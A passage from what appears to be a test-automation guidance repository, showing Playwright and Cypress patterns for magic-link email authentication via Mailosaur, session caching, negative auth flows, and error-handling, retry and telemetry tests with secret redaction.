* Alternative: Use Mailosaur's built-in link extraction
* Mailosaur automatically parses links - no regex needed!
*/
async function getMagicLinkFromEmail(email: string): Promise<string> {
const MailosaurClient = require('mailosaur');
const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
// Wait for email (timeout: 30 seconds)
const message = await mailosaur.messages.get(
MAILOSAUR_SERVER_ID,
{
sentTo: email,
},
{
timeout: 30000, // 30 seconds
},
);
// Mailosaur extracts links automatically - no parsing needed!
const magicLink = message.html?.links?.[0]?.href;
if (!magicLink) {
throw new Error(`Magic link not found in email to ${email}`);
}
console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
return magicLink;
}
test.describe('Magic Link Authentication', () => {
test('should authenticate user via magic link', async ({ page, context }) => {
// Arrange: Generate unique test email
const randomId = Math.floor(Math.random() * 1000000);
const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
// Act: Request magic link
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
// Assert: Success message
await expect(page.getByTestId('check-email-message')).toBeVisible();
await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
// Retrieve magic link from email
const magicLink = await getMagicLinkFromEmail(testEmail);
// Visit magic link
await page.goto(magicLink);
// Assert: User is authenticated
await expect(page.getByTestId('user-menu')).toBeVisible();
await expect(page.getByTestId('user-email')).toContainText(testEmail);
// Verify session storage preserved
const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
expect(localStorage).toContain('authToken');
});
test('should handle expired magic link', async ({ page }) => {
// Use pre-expired link (older than 15 minutes)
const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
await page.goto(expiredLink);
// Assert: Error message displayed
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText('link has expired');
// Assert: User NOT authenticated
await expect(page.getByTestId('user-menu')).not.toBeVisible();
});
test('should prevent reusing magic link', async ({ page }) => {
const randomId = Math.floor(Math.random() * 1000000);
const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
// Request magic link
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
const magicLink = await getMagicLinkFromEmail(testEmail);
// Visit link first time (success)
await page.goto(magicLink);
await expect(page.getByTestId('user-menu')).toBeVisible();
// Sign out
await page.getByTestId('sign-out').click();
// Try to reuse same link (should fail)
await page.goto(magicLink);
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText('link has already been used');
});
});
```
**Cypress equivalent with Mailosaur plugin**:
```javascript
// cypress/e2e/magic-link-auth.cy.ts
describe('Magic Link Authentication', () => {
it('should authenticate user via magic link', () => {
const serverId = Cypress.env('MAILOSAUR_SERVERID');
const randomId = Cypress._.random(1e6);
const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
// Request magic link
cy.visit('/login');
cy.get('[data-cy="email-input"]').type(testEmail);
cy.get('[data-cy="send-magic-link"]').click();
cy.get('[data-cy="check-email-message"]').should('be.visible');
// Retrieve and visit magic link
cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
.its('html.links.0.href') // Mailosaur extracts links automatically!
.should('exist')
.then((magicLink) => {
cy.log(`Magic link: ${magicLink}`);
cy.visit(magicLink);
});
// Verify authenticated
cy.get('[data-cy="user-menu"]').should('be.visible');
cy.get('[data-cy="user-email"]').should('contain', testEmail);
});
});
```
**Key Points**:
- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
- **Unique emails**: Random ID prevents collisions
- **Negative testing**: Expired and reused links tested
- **State verification**: localStorage/session checked
- **Fast email retrieval**: 30 second timeout typical
---
### Example 2: State Preservation Pattern with cy.session / Playwright storageState
**Context**: Cache authenticated session to avoid requesting magic link on every test.
**Implementation**:
```typescript
// playwright/fixtures/email-auth-fixture.ts
import { test as base } from '@playwright/test';
import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
type EmailAuthFixture = {
authenticatedUser: { email: string; token: string };
};
export const test = base.extend<EmailAuthFixture>({
authenticatedUser: async ({ page, context }, use) => {
const randomId = Math.floor(Math.random() * 1000000);
const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
// Check if we have cached auth state for this email
const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
try {
// Try to reuse existing session
await context.storageState({ path: storageStatePath });
await page.goto('/dashboard');
// Validate session is still valid
const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
if (isAuthenticated) {
console.log(`✅ Reusing cached session for ${testEmail}`);
await use({ email: testEmail, token: 'cached' });
return;
}
} catch (error) {
console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
}
// Request new magic link
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
// Get magic link from email
const magicLink = await getMagicLinkFromEmail(testEmail);
// Visit link and authenticate
await page.goto(magicLink);
await expect(page.getByTestId('user-menu')).toBeVisible();
// Extract auth token from localStorage
const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
// Save session state for reuse
await context.storageState({ path: storageStatePath });
console.log(`💾 Cached session for ${testEmail}`);
await use({ email: testEmail, token: authToken || '' });
},
});
```
**Cypress equivalent with cy.session + data-session**:
```javascript
// cypress/support/commands/email-auth.js
import { dataSession } from 'cypress-data-session';
/**
* Authenticate via magic link with session caching
* - First run: Requests email, extracts link, authenticates
* - Subsequent runs: Reuses cached session (no email)
*/
Cypress.Commands.add('authViaMagicLink', (email) => {
return dataSession({
name: `magic-link-${email}`,
// First-time setup: Request and process magic link
setup: () => {
cy.visit('/login');
cy.get('[data-cy="email-input"]').type(email);
cy.get('[data-cy="send-magic-link"]').click();
// Get magic link from Mailosaur
cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
sentTo: email,
})
.its('html.links.0.href')
.should('exist')
.then((magicLink) => {
cy.visit(magicLink);
});
// Wait for authentication
cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
// Preserve authentication state
return cy.getAllLocalStorage().then((storage) => {
return { storage, email };
});
},
// Validate cached session is still valid
validate: (cached) => {
return cy.wrap(Boolean(cached?.storage));
},
// Recreate session from cache (no email needed)
recreate: (cached) => {
// Restore localStorage
cy.setLocalStorage(cached.storage);
cy.visit('/dashboard');
cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
},
shareAcrossSpecs: true, // Share session across all tests
});
});
```
**Usage in tests**:
```javascript
// cypress/e2e/dashboard.cy.ts
describe('Dashboard', () => {
const serverId = Cypress.env('MAILOSAUR_SERVERID');
const testEmail = `test-user@${serverId}.mailosaur.net`;
beforeEach(() => {
// First test: Requests magic link
// Subsequent tests: Reuses cached session (no email!)
cy.authViaMagicLink(testEmail);
});
it('should display user dashboard', () => {
cy.get('[data-cy="dashboard-content"]').should('be.visible');
});
it('should show user profile', () => {
cy.get('[data-cy="user-email"]').should('contain', testEmail);
});
// Both tests share same session - only 1 email consumed!
});
```
**Key Points**:
- **Session caching**: First test requests email, rest reuse session
- **State preservation**: localStorage/cookies saved and restored
- **Validation**: Check cached session is still valid
- **Quota optimization**: Massive reduction in email consumption
- **Fast tests**: Cached auth takes seconds vs. minutes
---
### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
**Context**: Comprehensive negative testing for email authentication edge cases.
**Implementation**:
```typescript
// tests/e2e/email-auth-negative.spec.ts
import { test, expect } from '@playwright/test';
import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
test.describe('Email Auth Negative Flows', () => {
test('should reject expired magic link', async ({ page }) => {
// Generate expired link (simulate 24 hours ago)
const expiredToken = Buffer.from(
JSON.stringify({
email: 'test@example.com',
exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
}),
).toString('base64');
const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
// Visit expired link
await page.goto(expiredLink);
// Assert: Error displayed
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
// Assert: Link to request new one
await expect(page.getByTestId('request-new-link')).toBeVisible();
// Assert: User NOT authenticated
await expect(page.getByTestId('user-menu')).not.toBeVisible();
});
test('should reject invalid magic link token', async ({ page }) => {
const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
await page.goto(invalidLink);
// Assert: Error displayed
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
// Assert: User not authenticated
await expect(page.getByTestId('user-menu')).not.toBeVisible();
});
test('should reject already-used magic link', async ({ page, context }) => {
const randomId = Math.floor(Math.random() * 1000000);
const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
// Request magic link
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
const magicLink = await getMagicLinkFromEmail(testEmail);
// Visit link FIRST time (success)
await page.goto(magicLink);
await expect(page.getByTestId('user-menu')).toBeVisible();
// Sign out
await page.getByTestId('user-menu').click();
await page.getByTestId('sign-out').click();
await expect(page.getByTestId('user-menu')).not.toBeVisible();
// Try to reuse SAME link (should fail)
await page.goto(magicLink);
// Assert: Link already used error
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
// Assert: User not authenticated
await expect(page.getByTestId('user-menu')).not.toBeVisible();
});
test('should handle rapid successive link requests', async ({ page }) => {
const randomId = Math.floor(Math.random() * 1000000);
const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
// Request magic link 3 times rapidly
for (let i = 0; i < 3; i++) {
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
await expect(page.getByTestId('check-email-message')).toBeVisible();
}
// Only the LATEST link should work
const MailosaurClient = require('mailosaur');
const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
sentTo: testEmail,
});
// Should receive 3 emails
expect(messages.items.length).toBeGreaterThanOrEqual(3);
// Get the LATEST magic link
const latestMessage = messages.items[0]; // Most recent first
const latestLink = latestMessage.html.links[0].href;
// Latest link works
await page.goto(latestLink);
await expect(page.getByTestId('user-menu')).toBeVisible();
// Older links should NOT work (if backend invalidates previous)
await page.getByTestId('sign-out').click();
const olderLink = messages.items[1].html.links[0].href;
await page.goto(olderLink);
await expect(page.getByTestId('error-message')).toBeVisible();
});
test('should rate-limit excessive magic link requests', async ({ page }) => {
const randomId = Math.floor(Math.random() * 1000000);
const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
// Request magic link 10 times rapidly (should hit rate limit)
for (let i = 0; i < 10; i++) {
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
// After N requests, should show rate limit error
const errorVisible = await page
.getByTestId('rate-limit-error')
.isVisible({ timeout: 1000 })
.catch(() => false);
if (errorVisible) {
console.log(`Rate limit hit after ${i + 1} requests`);
await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
return;
}
}
// If no rate limit after 10 requests, log warning
console.warn('⚠️ No rate limit detected after 10 requests');
});
});
```
**Key Points**:
- **Expired links**: Test 24+ hour old tokens
- **Invalid tokens**: Malformed or garbage tokens rejected
- **Reuse prevention**: Same link can't be used twice
- **Rapid requests**: Multiple requests handled gracefully
- **Rate limiting**: Excessive requests blocked
---
### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
**Context**: Minimize email consumption by sharing authentication state across tests and specs.
**Implementation**:
```javascript
// cypress/support/commands/register-and-sign-in.js
import { dataSession } from 'cypress-data-session';
/**
* Email Authentication Caching Strategy
* - One email per test run (not per spec, not per test)
* - First spec: Full registration flow (form → email → code → sign in)
* - Subsequent specs: Only sign in (reuse user)
* - Subsequent tests in same spec: Session already active (no sign in)
*/
// Helper: Fill registration form
function fillRegistrationForm({ fullName, userName, email, password }) {
cy.intercept('POST', 'https://cognito-idp*').as('cognito');
cy.contains('Register').click();
cy.get('#reg-dialog-form').should('be.visible');
cy.get('#first-name').type(fullName, { delay: 0 });
cy.get('#last-name').type(lastName, { delay: 0 });
cy.get('#email').type(email, { delay: 0 });
cy.get('#username').type(userName, { delay: 0 });
cy.get('#password').type(password, { delay: 0 });
cy.contains('button', 'Create an account').click();
cy.wait('@cognito').its('response.statusCode').should('equal', 200);
}
// Helper: Confirm registration with email code
function confirmRegistration(email) {
return cy
.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
.its('html.codes.0.value') // Mailosaur auto-extracts codes!
.then((code) => {
cy.intercept('POST', 'https://cognito-idp*').as('cognito');
cy.get('#verification-code').type(code, { delay: 0 });
cy.contains('button', 'Confirm registration').click();
cy.wait('@cognito');
cy.contains('You are now registered!').should('be.visible');
cy.contains('button', /ok/i).click();
return cy.wrap(code); // Return code for reference
});
}
// Helper: Full registration (form + email)
function register({ fullName, userName, email, password }) {
fillRegistrationForm({ fullName, userName, email, password });
return confirmRegistration(email);
}
// Helper: Sign in
function signIn({ userName, password }) {
cy.intercept('POST', 'https://cognito-idp*').as('cognito');
cy.contains('Sign in').click();
cy.get('#sign-in-username').type(userName, { delay: 0 });
cy.get('#sign-in-password').type(password, { delay: 0 });
cy.contains('button', 'Sign in').click();
cy.wait('@cognito');
cy.contains('Sign out').should('be.visible');
}
/**
* Register and sign in with email caching
* ONE EMAIL PER MACHINE (cypress run or cypress open)
*/
Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
return dataSession({
name: email, // Unique session per email
// First time: Full registration (form → email → code)
init: () => register({ fullName, userName, email, password }),
// Subsequent specs: Just check email exists (code already used)
setup: () => confirmRegistration(email),
// Always runs after init/setup: Sign in
recreate: () => signIn({ userName, password }),
// Share across ALL specs (one email for entire test run)
shareAcrossSpecs: true,
});
});
```
**Usage across multiple specs**:
```javascript
// cypress/e2e/place-order.cy.ts
describe('Place Order', () => {
beforeEach(() => {
cy.visit('/');
cy.registerAndSignIn({
fullName: Cypress.env('fullName'), // From cypress.config
userName: Cypress.env('userName'),
email: Cypress.env('email'), // SAME email across all specs
password: Cypress.env('password'),
});
});
it('should place order', () => {
/* ... */
});
it('should view order history', () => {
/* ... */
});
});
// cypress/e2e/profile.cy.ts
describe('User Profile', () => {
beforeEach(() => {
cy.visit('/');
cy.registerAndSignIn({
fullName: Cypress.env('fullName'),
userName: Cypress.env('userName'),
email: Cypress.env('email'), // SAME email - no new email sent!
password: Cypress.env('password'),
});
});
it('should update profile', () => {
/* ... */
});
});
```
**Playwright equivalent with storageState**:
```typescript
// playwright.config.ts
import { defineConfig } from '@playwright/test';
export default defineConfig({
projects: [
{
name: 'setup',
testMatch: /global-setup\.ts/,
},
{
name: 'authenticated',
testMatch: /.*\.spec\.ts/,
dependencies: ['setup'],
use: {
storageState: '.auth/user-session.json', // Reuse auth state
},
},
],
});
```
```typescript
// tests/global-setup.ts (runs once)
import { test as setup } from '@playwright/test';
import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
const authFile = '.auth/user-session.json';
setup('authenticate via magic link', async ({ page }) => {
const testEmail = process.env.TEST_USER_EMAIL!;
// Request magic link
await page.goto('/login');
await page.getByTestId('email-input').fill(testEmail);
await page.getByTestId('send-magic-link').click();
// Get and visit magic link
const magicLink = await getMagicLinkFromEmail(testEmail);
await page.goto(magicLink);
// Verify authenticated
await expect(page.getByTestId('user-menu')).toBeVisible();
// Save authenticated state (ONE TIME for all tests)
await page.context().storageState({ path: authFile });
console.log('✅ Authentication state saved to', authFile);
});
```
**Key Points**:
- **One email per run**: Global setup authenticates once
- **State reuse**: All tests use cached storageState
- **cypress-data-session**: Intelligently manages cache lifecycle
- **shareAcrossSpecs**: Session shared across all spec files
- **Massive savings**: 500 tests = 1 email (not 500!)
---
## Email Authentication Testing Checklist
Before implementing email auth tests, verify:
- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
- [ ] **State preservation**: localStorage/session/cookies saved and restored
- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
- [ ] **Quota awareness**: One email per run (not per test)
- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
- [ ] **Timeout handling**: 30 second email retrieval timeout configured
## Integration Points
- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
- Related fragments: `fixture-architecture.md`, `test-quality.md`
- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
- Plugins: cypress-mailosaur, cypress-data-session
_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_

View File

@@ -0,0 +1,725 @@
# Error Handling and Resilience Checks
## Principle
Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
## Rationale
Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
## Pattern Examples
### Example 1: Scoped Exception Handling (Expected Errors Only)
**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
**Implementation**:
```typescript
// tests/e2e/error-handling.spec.ts
import { test, expect } from '@playwright/test';
/**
* Scoped Error Handling Pattern
* - Only ignore specific, documented errors
* - Rethrow everything else to catch regressions
* - Validate error UI and user experience
*/
test.describe('API Error Handling', () => {
test('should display error message when API returns 500', async ({ page }) => {
// Scope error handling to THIS test only
const consoleErrors: string[] = [];
page.on('pageerror', (error) => {
// Only swallow documented NetworkError
if (error.message.includes('NetworkError: Failed to fetch')) {
consoleErrors.push(error.message);
return; // Swallow this specific error
}
// Rethrow all other errors (catch regressions!)
throw error;
});
// Arrange: Mock 500 error response
await page.route('**/api/users', (route) =>
route.fulfill({
status: 500,
contentType: 'application/json',
body: JSON.stringify({
error: 'Internal server error',
code: 'INTERNAL_ERROR',
}),
}),
);
// Act: Navigate to page that fetches users
await page.goto('/dashboard');
// Assert: Error UI displayed
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
// Assert: Retry button visible
await expect(page.getByTestId('retry-button')).toBeVisible();
// Assert: NetworkError was thrown and caught
expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
});
test('should NOT swallow unexpected errors', async ({ page }) => {
let unexpectedError: Error | null = null;
page.on('pageerror', (error) => {
// Capture but don't swallow - test should fail
unexpectedError = error;
throw error;
});
// Arrange: App has JavaScript error (bug)
await page.addInitScript(() => {
// Simulate bug in app code
(window as any).buggyFunction = () => {
throw new Error('UNEXPECTED BUG: undefined is not a function');
};
});
await page.goto('/dashboard');
// Trigger buggy function
await page.evaluate(() => (window as any).buggyFunction());
// Assert: Test fails because unexpected error was NOT swallowed
expect(unexpectedError).not.toBeNull();
expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
});
});
```
**Cypress equivalent**:
```javascript
// cypress/e2e/error-handling.cy.ts
describe('API Error Handling', () => {
it('should display error message when API returns 500', () => {
// Scoped to this test only
cy.on('uncaught:exception', (err) => {
// Only swallow documented NetworkError
if (err.message.includes('NetworkError')) {
return false; // Prevent test failure
}
// All other errors fail the test
return true;
});
// Arrange: Mock 500 error
cy.intercept('GET', '**/api/users', {
statusCode: 500,
body: {
error: 'Internal server error',
code: 'INTERNAL_ERROR',
},
}).as('getUsers');
// Act
cy.visit('/dashboard');
cy.wait('@getUsers');
// Assert: Error UI
cy.get('[data-cy="error-message"]').should('be.visible');
cy.get('[data-cy="error-message"]').should('contain', 'error loading');
cy.get('[data-cy="retry-button"]').should('be.visible');
});
it('should NOT swallow unexpected errors', () => {
// No exception handler - test should fail on unexpected errors
cy.visit('/dashboard');
// Trigger unexpected error
cy.window().then((win) => {
// This should fail the test
win.eval('throw new Error("UNEXPECTED BUG")');
});
// Test fails (as expected) - validates error detection works
});
});
```
**Key Points**:
- **Scoped handling**: page.on() / cy.on() scoped to specific tests
- **Explicit allow-list**: Only ignore documented errors
- **Rethrow unexpected**: Catch regressions by failing on unknown errors
- **Error UI validation**: Assert user sees error message
- **Logging**: Capture errors for debugging, don't swallow silently
---
### Example 2: Retry Validation Pattern (Network Resilience)
**Context**: Test that retry/backoff logic works correctly for transient failures.
**Implementation**:
```typescript
// tests/e2e/retry-resilience.spec.ts
import { test, expect } from '@playwright/test';
/**
* Retry Validation Pattern
* - Force sequential failures (500 → 500 → 200)
* - Validate retry attempts and backoff timing
* - Assert telemetry captures retry events
*/
test.describe('Network Retry Logic', () => {
test('should retry on 500 error and succeed', async ({ page }) => {
let attemptCount = 0;
const attemptTimestamps: number[] = [];
// Mock API: Fail twice, succeed on third attempt
await page.route('**/api/products', (route) => {
attemptCount++;
attemptTimestamps.push(Date.now());
if (attemptCount <= 2) {
// First 2 attempts: 500 error
route.fulfill({
status: 500,
body: JSON.stringify({ error: 'Server error' }),
});
} else {
// 3rd attempt: Success
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
});
}
});
// Act: Navigate (should retry automatically)
await page.goto('/products');
// Assert: Data eventually loads after retries
await expect(page.getByTestId('product-list')).toBeVisible();
await expect(page.getByTestId('product-item')).toHaveCount(1);
// Assert: Exactly 3 attempts made
expect(attemptCount).toBe(3);
// Assert: Exponential backoff timing (1s → 2s between attempts)
if (attemptTimestamps.length === 3) {
const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
expect(delay1).toBeLessThan(1200);
expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
expect(delay2).toBeLessThan(2200);
}
// Assert: Telemetry logged retry events
const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
expect(telemetryEvents).toContainEqual(
expect.objectContaining({
event: 'api_retry',
attempt: 1,
endpoint: '/api/products',
}),
);
expect(telemetryEvents).toContainEqual(
expect.objectContaining({
event: 'api_retry',
attempt: 2,
}),
);
});
test('should give up after max retries and show error', async ({ page }) => {
let attemptCount = 0;
// Mock API: Always fail (test retry limit)
await page.route('**/api/products', (route) => {
attemptCount++;
route.fulfill({
status: 500,
body: JSON.stringify({ error: 'Persistent server error' }),
});
});
// Act
await page.goto('/products');
// Assert: Max retries reached (3 attempts typical)
expect(attemptCount).toBe(3);
// Assert: Error UI displayed after exhausting retries
await expect(page.getByTestId('error-message')).toBeVisible();
await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
// Assert: Data not displayed
await expect(page.getByTestId('product-list')).not.toBeVisible();
});
test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
let attemptCount = 0;
// Mock API: 404 error (should NOT retry)
await page.route('**/api/products/999', (route) => {
attemptCount++;
route.fulfill({
status: 404,
body: JSON.stringify({ error: 'Product not found' }),
});
});
await page.goto('/products/999');
// Assert: Only 1 attempt (no retries on 404)
expect(attemptCount).toBe(1);
// Assert: 404 error displayed immediately
await expect(page.getByTestId('not-found-message')).toBeVisible();
});
});
```
**Cypress with retry interception**:
```javascript
// cypress/e2e/retry-resilience.cy.ts
describe('Network Retry Logic', () => {
it('should retry on 500 and succeed on 3rd attempt', () => {
let attemptCount = 0;
cy.intercept('GET', '**/api/products', (req) => {
attemptCount++;
if (attemptCount <= 2) {
req.reply({ statusCode: 500, body: { error: 'Server error' } });
} else {
req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
}
}).as('getProducts');
cy.visit('/products');
// Wait for final successful request
cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
// Assert: Data loaded
cy.get('[data-cy="product-list"]').should('be.visible');
cy.get('[data-cy="product-item"]').should('have.length', 1);
// Validate retry count
cy.wrap(attemptCount).should('eq', 3);
});
});
```
**Key Points**:
- **Sequential failures**: Test retry logic with 500 → 500 → 200
- **Backoff timing**: Validate exponential backoff delays
- **Retry limits**: Max attempts enforced (typically 3)
- **Non-retryable errors**: 404s don't trigger retries
- **Telemetry**: Log retry attempts for monitoring
---
### Example 3: Telemetry Logging with Context (Sentry Integration)
**Context**: Capture errors with full context for production debugging without exposing secrets.
**Implementation**:
```typescript
// tests/e2e/telemetry-logging.spec.ts
import { test, expect } from '@playwright/test';
/**
* Telemetry Logging Pattern
* - Log errors with request context
* - Redact sensitive data (tokens, passwords, PII)
* - Integrate with monitoring (Sentry, Datadog)
* - Validate error logging without exposing secrets
*/
type ErrorLog = {
level: 'error' | 'warn' | 'info';
message: string;
context?: {
endpoint?: string;
method?: string;
statusCode?: number;
userId?: string;
sessionId?: string;
};
timestamp: string;
};
test.describe('Error Telemetry', () => {
test('should log API errors with context', async ({ page }) => {
const errorLogs: ErrorLog[] = [];
// Capture console errors
page.on('console', (msg) => {
if (msg.type() === 'error') {
try {
const log = JSON.parse(msg.text());
errorLogs.push(log);
} catch {
// Not a structured log, ignore
}
}
});
// Mock failing API
await page.route('**/api/orders', (route) =>
route.fulfill({
status: 500,
body: JSON.stringify({ error: 'Payment processor unavailable' }),
}),
);
// Act: Trigger error
await page.goto('/checkout');
await page.getByTestId('place-order').click();
// Wait for error UI
await expect(page.getByTestId('error-message')).toBeVisible();
// Assert: Error logged with context
expect(errorLogs).toContainEqual(
expect.objectContaining({
level: 'error',
message: expect.stringContaining('API request failed'),
context: expect.objectContaining({
endpoint: '/api/orders',
method: 'POST',
statusCode: 500,
userId: expect.any(String),
}),
}),
);
// Assert: Sensitive data NOT logged
const logString = JSON.stringify(errorLogs);
expect(logString).not.toContain('password');
expect(logString).not.toContain('token');
expect(logString).not.toContain('creditCard');
});
test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
const sentryEvents: any[] = [];
// Mock Sentry SDK
await page.addInitScript(() => {
(window as any).Sentry = {
captureException: (error: Error, context?: any) => {
(window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
(window as any).__SENTRY_EVENTS__.push({
error: error.message,
context,
timestamp: Date.now(),
});
},
addBreadcrumb: (breadcrumb: any) => {
(window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
(window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
},
};
});
// Mock failing API
await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
// Act
await page.goto('/users');
// Assert: Sentry captured error
const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
expect(events).toHaveLength(1);
expect(events[0]).toMatchObject({
error: expect.stringContaining('403'),
context: expect.objectContaining({
endpoint: '/api/users',
statusCode: 403,
}),
});
// Assert: Breadcrumbs include user actions
const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
expect(breadcrumbs).toContainEqual(
expect.objectContaining({
category: 'navigation',
message: '/users',
}),
);
});
});
```
**Cypress with Sentry**:
```javascript
// cypress/e2e/telemetry-logging.cy.ts
describe('Error Telemetry', () => {
it('should log API errors with redacted sensitive data', () => {
const errorLogs = [];
// Capture console errors
cy.on('window:before:load', (win) => {
cy.stub(win.console, 'error').callsFake((msg) => {
errorLogs.push(msg);
});
});
// Mock failing API
cy.intercept('POST', '**/api/orders', {
statusCode: 500,
body: { error: 'Payment failed' },
});
// Act
cy.visit('/checkout');
cy.get('[data-cy="place-order"]').click();
// Assert: Error logged
cy.wrap(errorLogs).should('have.length.greaterThan', 0);
// Assert: Context included
cy.wrap(errorLogs[0]).should('include', '/api/orders');
// Assert: Secrets redacted
cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
});
});
```
**Error logger utility with redaction**:
```typescript
// src/utils/error-logger.ts
type ErrorContext = {
endpoint?: string;
method?: string;
statusCode?: number;
userId?: string;
sessionId?: string;
requestPayload?: any;
};
const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
/**
* Redact sensitive data from objects
*/
function redactSensitiveData(obj: any): any {
if (typeof obj !== 'object' || obj === null) return obj;
const redacted = { ...obj };
for (const key of Object.keys(redacted)) {
if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
redacted[key] = '[REDACTED]';
} else if (typeof redacted[key] === 'object') {
redacted[key] = redactSensitiveData(redacted[key]);
}
}
return redacted;
}
/**
* Log error with context (Sentry integration)
*/
export function logError(error: Error, context?: ErrorContext) {
const safeContext = context ? redactSensitiveData(context) : {};
const errorLog = {
level: 'error' as const,
message: error.message,
stack: error.stack,
context: safeContext,
timestamp: new Date().toISOString(),
};
// Console (development)
console.error(JSON.stringify(errorLog));
// Sentry (production)
if (typeof window !== 'undefined' && (window as any).Sentry) {
(window as any).Sentry.captureException(error, {
contexts: { custom: safeContext },
});
}
}
```
**Key Points**:
- **Context-rich logging**: Endpoint, method, status, user ID
- **Secret redaction**: Passwords, tokens, PII removed before logging
